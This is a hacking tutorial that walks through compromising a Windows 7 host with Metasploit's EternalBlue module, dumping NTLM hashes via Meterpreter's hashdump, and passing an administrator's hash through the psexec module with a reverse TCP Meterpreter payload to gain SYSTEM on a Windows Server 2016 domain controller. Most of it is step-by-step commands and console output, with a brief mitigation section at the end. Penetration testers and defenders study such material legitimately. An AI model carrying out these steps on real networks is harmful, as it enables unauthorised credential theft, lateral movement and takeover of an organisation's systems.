How To: Perform a Pass-the-Hash Attack & Get System Access on Windows

Perform a Pass-the-Hash Attack & Get System Access on Windows

Passwords on Windows are stored as hashes, and sometimes they can be tough to crack. In certain situations, though, we can get around that by using the hash as is, with no need to know the plaintext password. It's especially interesting if we can manage to get the hash of an administrative user since we can then authenticate with higher privileges by performing an attack known as pass the hash.

We will be initially compromising a Windows 7 box, grabbing a hash from there, and pivoting to Windows Server 2016. The user whose password hash we obtain needs to have administrative privileges and to have been logged on to both of these machines. We will be using Kali Linux as our attacking box.

Pass the Hash Overview

To understand the pass-the-hash technique, we first need to cover what makes up the hash. On Windows, a typical hash will look something like this:


There are four distinct sections, each separated by a semicolon. The first part of the hash is the username, and the second part is the numerical relative identifier.

The third part is the LM hash, a type of hash that was used in older Windows systems and was discontinued starting with Vista/Server 2008. You don't see these much anymore, but it is still possible to come across them if older systems are still in use. If you do, consider yourself lucky because they are trivial to crack.

The fourth part is the NTLM hash, an updated version used on modern Windows systems that is much harder to crack. It's also sometimes referred to as the NTHash, and it's what we can use to pass the hash.

Our attack works because of the way passwords are stored, transmitted, and used to authenticate. Think about it: your password isn't being thrown around the network in plaintext for everyone to see — it is cryptographically hashed from the moment of creation.

When authenticating with a username and password, the password is hashed once you type it in. All things considered, the computer doesn't see a difference between the password and the hash in the end. So by providing the authentication mechanism with the hash directly, we can bypass the need to know the plaintext password.

Things get especially interesting because as long as we know the username, we can authenticate as an administrator with just the password hash.

Step 1: Grab the Hash from Initial Target

The first thing we need to do is compromise the initial target. In this scenario, we will assume this is a regular workstation (our Windows 7 machine). Any method will work, but for now, let's assume this machine is vulnerable to cd EternalBlue.

We can use Metasploit to easily own the target. First, start it up:

~# msfconsole

msf5 >

Then, let's run an "eternalblue" module. For more information on this module, check out my previous guide on exploiting EternalBlue on a Windows server.

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on
[*] - Connecting to target for exploitation.
[+] - Connection established for exploitation.
[+] - Target OS selected valid for OS indicated by SMB reply
[*] - CORE raw buffer dump (42 bytes)
[*] - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] - Target arch selected valid for arch indicated by DCE/RPC reply
[*] - Trying exploit with 12 Groom Allocations.
[*] - Sending all but last fragment of exploit packet
[*] - Starting non-paged pool grooming
[+] - Sending SMBv2 buffers
[+] - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] - Sending final SMBv2 buffers.
[*] - Sending last fragment of exploit packet!
[*] - Receiving response from exploit packet
[+] - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] - Sending egg to corrupted connection.
[*] - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to
[*] Meterpreter session 1 opened ( -> at 2019-04-08 10:29:38 -0500
[+] - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

Meterpreter has a useful command called hashdump that will dump any LM or NTLM hashes present on the system.

meterpreter > hashdump


It appears there is a user named "admin2" that likely has administrative privileges. We can copy the hash and use it to connect to another machine.

Let's say there is another computer on the network that looks like a server, possibly a domain controller (this will be the Windows Server 2016 box). If we can get access to that machine we could own the entire network and any computer on the domain.

Step 2: Pass the Hash with PsExec

Now that we have the hash of a privileged user, we can use it to authenticate to the Windows Server 2016 box without supplying the plaintext password. We can do this with Metasploit's psexec module.

PsExec is a command-line tool on Windows that allows you to execute programs and commands on remote systems. It is useful for administrators because it integrates with console applications and utilities for seamless redirection of input and output. But there is always a trade-off between convenience and security. PsExec can be abused by an attacker to execute malicious commands or to serve as a backdoor.

Metasploit contains a modified version of PsExec that makes it easy to connect to remote targets. Use the search command to locate the module:

msf5 > search psexec

Matching Modules

   #   Name                                         Disclosure Date  Rank       Check  Description
   -   ----                                         ---------------  ----       -----  -----------
   1   auxiliary/admin/smb/ms17_010_command         2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2   auxiliary/admin/smb/psexec_command                            normal     Yes    Microsoft Windows Authenticated Administration Utility
   3   auxiliary/admin/smb/psexec_ntdsgrab                           normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   4   auxiliary/scanner/smb/impacket/dcomexec      2018-03-19       normal     Yes    DCOM Exec
   5   auxiliary/scanner/smb/impacket/wmiexec       2018-03-19       normal     Yes    WMI Exec
   6   auxiliary/scanner/smb/psexec_loggedin_users                   normal     Yes    Microsoft Windows Authenticated Logged In Users Enumeration
   7   encoder/x86/service                                           manual     No     Register Service
   8   exploit/windows/local/current_user_psexec    1999-01-01       excellent  No     PsExec via Current User Token
   9   exploit/windows/local/wmi                    1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution
   10  exploit/windows/smb/ms17_010_psexec          2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11  exploit/windows/smb/psexec                   1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   12  exploit/windows/smb/psexec_psh               1999-01-01       manual     No     Microsoft Windows Authenticated Powershell Command Execution
   13  exploit/windows/smb/webexec                  2018-10-24       manual     No     WebExec Authenticated User Code Execution

It's an oldie but a goodie. Load it up with the use command.

msf5 > use exploit/windows/smb/psexec

Now we can display the current settings with the options command.

msf5 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                                 yes       The target address range or CIDR identifier
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

First, we need to set the IP address of the target (the server we are now targeting):

msf5 exploit(windows/smb/psexec) > set rhosts
rhosts =>

Then we can set the username and password, using the hash we obtained instead of a plaintext password.

msf5 exploit(windows/smb/psexec) > set smbuser admin2

smbuser => admin2

msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7

Next, set the payload — we will use the classic Meterpreter reverse TCP.

msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp

payload => windows/x64/meterpreter/reverse_tcp

And the IP address of our local machine and a desired port.

msf5 exploit(windows/smb/psexec) > set lhost

lhost =>

msf5 exploit(windows/smb/psexec) > set lport 1234

lport => 1234

The rest of the default options are fine for now, so we should be good to go. Fire it off with the run command.

msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on
[*] - Connecting to the server...
[*] - Authenticating to as user 'admin2'...
[*] - Selecting PowerShell target
[*] - Executing the payload...
[*] Sending stage (206403 bytes) to
[+] - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened ( -> at 2019-04-08 10:36:37 -0500

meterpreter >

And we now have a Meterpreter session. To confirm, we can issue commands like getuid and sysinfo to display information about the target.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo

Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

Pretty neat. We didn't even need a password — only the hash — to get access to the server. We now own this system.


It is generally pretty difficult to defend against a pass-the-hash attack because it ends up looking like standard authentication. The best thing to do is implement a defense-in-depth approach to mitigate potential damage.

Keeping privileges to a minimum will negate the amount of damage an attacker can do if they gain an initial foothold in the network. Other standard defense methods should be utilized as well, such as the use of a firewall and IDS/IPS to monitor and prevent any malicious activity.

Windows can also be configured not to cache credentials, which would prevent attackers from harvesting hashes stored in memory. Additional steps can be taken as well to isolate sensitive systems on the network to limit an attacker's ability to pivot.


In this tutorial, we learned about Windows hashes, how they are used in authentication, and how they can be abused to perform a pass-the-hash attack. After we compromised a low-level target, we dumped the hashes and found an administrative account. From there, we used Metasploit to pass the hash and ultimately get System access on a server. If you have any questions on any of this, ask them below.

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.

Cover image by rawpixel/Pexels

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest